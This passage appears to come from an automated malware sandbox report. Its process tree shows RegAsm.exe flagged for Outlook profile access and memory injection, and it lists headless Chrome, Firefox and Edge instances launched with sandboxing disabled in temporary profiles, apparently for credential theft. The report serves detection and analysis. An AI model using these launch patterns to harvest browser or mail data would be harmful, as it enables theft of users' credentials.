      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES65F8.tmp" "c:\Users\Admin\AppData\Local\Temp\fbenc3mf\CSCBCDD586B7C8F4765B8B4F698224E2DE6.TMP"
        6⤵
        
        PID:1088
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        Accesses Microsoft Outlook profiles
        System Location Discovery: System Language Discovery
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        outlook_office_path
        outlook_win_path
        
        PID:460
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\wcuwaklx.ic4"
        6⤵
        Checks processor information in registry
        Enumerates system info in registry
        Modifies registry class
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        Suspicious use of WriteProcessMemory
        
        PID:3132
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\wcuwaklx.ic4 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\wcuwaklx.ic4\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\wcuwaklx.ic4 --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffec126c728,0x7ffec126c734,0x7ffec126c740
        7⤵
        
        PID:1576
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Temp\wcuwaklx.ic4" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1688,i,13733422038781024560,14061889135357609741,262144 --field-trial-handle=1964,i,15954643413909579008,4744960424245898522,262144 --variations-seed-version --mojo-platform-channel-handle=1960 /prefetch:2
        7⤵
        
        PID:3036
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\wcuwaklx.ic4" --force-high-res-timeticks=disabled --metrics-shmem-handle=2004,i,16564487938897642093,8312036272039132824,524288 --field-trial-handle=1964,i,15954643413909579008,4744960424245898522,262144 --variations-seed-version --mojo-platform-channel-handle=2020 /prefetch:3
        7⤵
        System Time Discovery
        
        PID:3464
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\wcuwaklx.ic4" --force-high-res-timeticks=disabled --metrics-shmem-handle=2172,i,10828245826150465933,6073491913357848791,524288 --field-trial-handle=1964,i,15954643413909579008,4744960424245898522,262144 --variations-seed-version --mojo-platform-channel-handle=2184 /prefetch:8
        7⤵
        
        PID:4468
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\wcuwaklx.ic4" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3172,i,11934486250151053981,12464569380641754962,2097152 --field-trial-handle=1964,i,15954643413909579008,4744960424245898522,262144 --variations-seed-version --mojo-platform-channel-handle=3176 /prefetch:1
        7⤵
        
        PID:4532
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\wcuwaklx.ic4" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3184,i,11836705156790281753,17201169738271235415,2097152 --field-trial-handle=1964,i,15954643413909579008,4744960424245898522,262144 --variations-seed-version --mojo-platform-channel-handle=3204 /prefetch:1
        7⤵
        
        PID:4884
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\wcuwaklx.ic4" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=3348,i,939736768463977533,10063440780122850817,2097152 --field-trial-handle=1964,i,15954643413909579008,4744960424245898522,262144 --variations-seed-version --mojo-platform-channel-handle=3396 /prefetch:1
        7⤵
        
        PID:1340
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\wcuwaklx.ic4" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=3344,i,14799602031729186159,15245393525710529543,2097152 --field-trial-handle=1964,i,15954643413909579008,4744960424245898522,262144 --variations-seed-version --mojo-platform-channel-handle=3424 /prefetch:2
        7⤵
        
        PID:4400
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\wcuwaklx.ic4" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=4284,i,10442121186401348900,16960496488139227763,2097152 --field-trial-handle=1964,i,15954643413909579008,4744960424245898522,262144 --variations-seed-version --mojo-platform-channel-handle=4116 /prefetch:1
        7⤵
        
        PID:3056
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\wcuwaklx.ic4" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=4300,i,16404658609903947800,4865375369835418509,2097152 --field-trial-handle=1964,i,15954643413909579008,4744960424245898522,262144 --variations-seed-version --mojo-platform-channel-handle=4344 /prefetch:2
        7⤵
        
        PID:2724
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\wcuwaklx.ic4" --force-high-res-timeticks=disabled --metrics-shmem-handle=4404,i,16117856373202263507,9217220882464860966,524288 --field-trial-handle=1964,i,15954643413909579008,4744960424245898522,262144 --variations-seed-version --mojo-platform-channel-handle=3340 /prefetch:8
        7⤵
        
        PID:5068
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\wcuwaklx.ic4" --force-high-res-timeticks=disabled --metrics-shmem-handle=5060,i,12208144840538376567,17130770268956582474,524288 --field-trial-handle=1964,i,15954643413909579008,4744960424245898522,262144 --variations-seed-version --mojo-platform-channel-handle=5068 /prefetch:8
        7⤵
        
        PID:5724
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\wcuwaklx.ic4" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5124,i,6924641612726275397,10389957968563334980,2097152 --field-trial-handle=1964,i,15954643413909579008,4744960424245898522,262144 --variations-seed-version --mojo-platform-channel-handle=5156 /prefetch:1
        7⤵
        
        PID:5780
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\wcuwaklx.ic4" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5136,i,2867760818772915311,3768586060984805647,2097152 --field-trial-handle=1964,i,15954643413909579008,4744960424245898522,262144 --variations-seed-version --mojo-platform-channel-handle=5184 /prefetch:1
        7⤵
        
        PID:5792
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\q5mcqeix.t3p"
        6⤵
        
        PID:6096
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir=C:\Users\Admin\AppData\Local\Temp\q5mcqeix.t3p
        7⤵
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        Suspicious use of SetWindowsHookEx
        
        PID:6112
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2044 -prefsLen 27099 -prefMapHandle 2052 -prefMapSize 270279 -ipcHandle 2116 -initialChannelId {21b6e21a-c57e-4629-b486-15dc1459ac61} -parentPid 6112 -crashReporter "\\.\pipe\gecko-crash-server-pipe.6112" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
        8⤵
        
        PID:5416
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2308 -prefsLen 27135 -prefMapHandle 2292 -prefMapSize 270279 -ipcHandle 2280 -initialChannelId {81bb3872-fce5-46c7-b46e-94dcd2c6f0b8} -parentPid 6112 -crashReporter "\\.\pipe\gecko-crash-server-pipe.6112" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
        8⤵
        
        PID:5528
        
        C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\c7ab2ec2-8c0a-4a05-be9a-032c4af54e74.dmp"
        8⤵
        
        PID:5600
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2364 -prefsLen 27135 -prefMapHandle 2840 -prefMapSize 270279 -ipcHandle 2852 -initialChannelId {ea5a764e-b01a-42c7-8c24-426f805f7eb1} -parentPid 6112 -crashReporter "\\.\pipe\gecko-crash-server-pipe.6112" -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 gpu
        8⤵
        
        PID:5648
        
        C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\34893bdf-b6dd-49cb-9c7b-be6e03d8839a.dmp"
        8⤵
        
        PID:5972
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2032 -prefsLen 27135 -prefMapHandle 2840 -prefMapSize 270279 -ipcHandle 3168 -initialChannelId {61e28a99-5203-41af-90f9-04b66db2dbfb} -parentPid 6112 -crashReporter "\\.\pipe\gecko-crash-server-pipe.6112" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 gpu
        8⤵
        
        PID:5992
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3948 -prefsLen 27325 -prefMapHandle 3952 -prefMapSize 270279 -jsInitHandle 3956 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3964 -initialChannelId {defbcc79-885a-43b5-a65b-a04570818b03} -parentPid 6112 -crashReporter "\\.\pipe\gecko-crash-server-pipe.6112" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 tab
        8⤵
        
        PID:6072
        
        C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\c8697e51-a311-4749-8f48-dba8760e49da.dmp"
        8⤵
        
        PID:3960
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3180 -prefsLen 27325 -prefMapHandle 3192 -prefMapSize 270279 -ipcHandle 4156 -initialChannelId {330ee5a2-d863-408d-8829-53e3f5b7f27a} -parentPid 6112 -crashReporter "\\.\pipe\gecko-crash-server-pipe.6112" -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 gpu
        8⤵
        
        PID:2820
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\0xks4pvl.0md"
        6⤵
        Checks processor information in registry
        Enumerates system info in registry
        Modifies registry class
        Suspicious use of FindShellTrayWindow
        
        PID:5112
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\0xks4pvl.0md /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\0xks4pvl.0md\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x234,0x238,0x23c,0x230,0x288,0x7ffec02cc188,0x7ffec02cc194,0x7ffec02cc1a0
        7⤵
        
        PID:3308
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Temp\0xks4pvl.0md" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --always-read-main-dll --metrics-shmem-handle=1740,i,11489755263907722145,17309307689556232694,262144 --field-trial-handle=2332,i,5153498865219856412,12547066172091191090,262144 --variations-seed-version --mojo-platform-channel-handle=2328 /prefetch:2
        7⤵
        
        PID:1924
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\0xks4pvl.0md" --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1920,i,4595800819933002334,2873978223231005515,524288 --field-trial-handle=2332,i,5153498865219856412,12547066172091191090,262144 --variations-seed-version --mojo-platform-channel-handle=2336 /prefetch:3
        7⤵
        System Time Discovery
        
        PID:4512
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\0xks4pvl.0md" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2276,i,5189814179606146289,3691518310316049346,524288 --field-trial-handle=2332,i,5153498865219856412,12547066172091191090,262144 --variations-seed-version --mojo-platform-channel-handle=2376 /prefetch:8
        7⤵
        
        PID:3332
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\0xks4pvl.0md" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3320,i,1152562710218566918,3632068878769399396,2097152 --field-trial-handle=2332,i,5153498865219856412,12547066172091191090,262144 --variations-seed-version --mojo-platform-channel-handle=3324 /prefetch:1
        7⤵
        
        PID:4532
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\0xks4pvl.0md" --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3336,i,18219384685568535688,9348668564562274854,2097152 --field-trial-handle=2332,i,5153498865219856412,12547066172091191090,262144 --variations-seed-version --mojo-platform-channel-handle=3332 /prefetch:1
        7⤵
        
        PID:1144
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --message-loop-type-ui --user-data-dir="C:\Users\Admin\AppData\Local\Temp\0xks4pvl.0md" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3740,i,6640578374477464010,5913450616074392980,524288 --field-trial-handle=2332,i,5153498865219856412,12547066172091191090,262144 --variations-seed-version --mojo-platform-channel-handle=3776 /prefetch:8
        7⤵
        
        PID:5692
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --message-loop-type-ui --user-data-dir="C:\Users\Admin\AppData\Local\Temp\0xks4pvl.0md" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3424,i,535246595715953323,12307737291357656271,524288 --field-trial-handle=2332,i,5153498865219856412,12547066172091191090,262144 --variations-seed-version --mojo-platform-channel-handle=3880 /prefetch:8
        7⤵
        
        PID:5040
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --message-loop-type-ui --user-data-dir="C:\Users\Admin\AppData\Local\Temp\0xks4pvl.0md" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3780,i,3903151388529847147,6141192493660117997,524288 --field-trial-handle=2332,i,5153498865219856412,12547066172091191090,262144 --variations-seed-version --mojo-platform-channel-handle=3804 /prefetch:8
        7⤵
        
        PID:5672
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\0xks4pvl.0md" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --metrics-shmem-handle=3864,i,12099505384280746211,6567197192198249548,2097152 --field-trial-handle=2332,i,5153498865219856412,12547066172091191090,262144 --variations-seed-version --mojo-platform-channel-handle=3868 /prefetch:1
        7⤵
        
        PID:5604
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\0xks4pvl.0md" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --metrics-shmem-handle=3916,i,16317708775645249240,3605335930895246687,2097152 --field-trial-handle=2332,i,5153498865219856412,12547066172091191090,262144 --variations-seed-version --mojo-platform-channel-handle=3936 /prefetch:2
        7⤵
        
        PID:5668
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\0xks4pvl.0md" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=3924,i,13270305681683407095,9448527242464499910,2097152 --field-trial-handle=2332,i,5153498865219856412,12547066172091191090,262144 --variations-seed-version --mojo-platform-channel-handle=3956 /prefetch:1
        7⤵
        
        PID:6032
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\0xks4pvl.0md" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --metrics-shmem-handle=4000,i,17008744272482604369,7144888060804572371,2097152 --field-trial-handle=2332,i,5153498865219856412,12547066172091191090,262144 --variations-seed-version --mojo-platform-channel-handle=4012 /prefetch:2
        7⤵
        
        PID:5980
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\0xks4pvl.0md" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --metrics-shmem-handle=4044,i,12945123143458364049,14219939925048281114,2097152 --field-trial-handle=2332,i,5153498865219856412,12547066172091191090,262144 --variations-seed-version --mojo-platform-channel-handle=4032 /prefetch:1
        7⤵
        
        PID:5988
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\0xks4pvl.0md" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --metrics-shmem-handle=4052,i,4764033909115425209,5984652168110485784,2097152 --field-trial-handle=2332,i,5153498865219856412,12547066172091191090,262144 --variations-seed-version --mojo-platform-channel-handle=3932 /prefetch:2
        7⤵
        
        PID:1800
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\0xks4pvl.0md" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --always-read-main-dll --metrics-shmem-handle=4100,i,8849395528149746105,11958603677193212514,2097152 --field-trial-handle=2332,i,5153498865219856412,12547066172091191090,262144 --variations-seed-version --mojo-platform-channel-handle=4112 /prefetch:1
        7⤵
        
        PID:2236
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\0xks4pvl.0md" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --always-read-main-dll --metrics-shmem-handle=4148,i,5641543678857599565,14510071822052745157,2097152 --field-trial-handle=2332,i,5153498865219856412,12547066172091191090,262144 --variations-seed-version --mojo-platform-channel-handle=4132 /prefetch:2
        7⤵
        
        PID:5128
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\0xks4pvl.0md" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --always-read-main-dll --metrics-shmem-handle=4160,i,12126037736777736656,6265784820345210671,2097152 --field-trial-handle=2332,i,5153498865219856412,12547066172091191090,262144 --variations-seed-version --mojo-platform-channel-handle=4176 /prefetch:1
        7⤵
        
        PID:5132
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
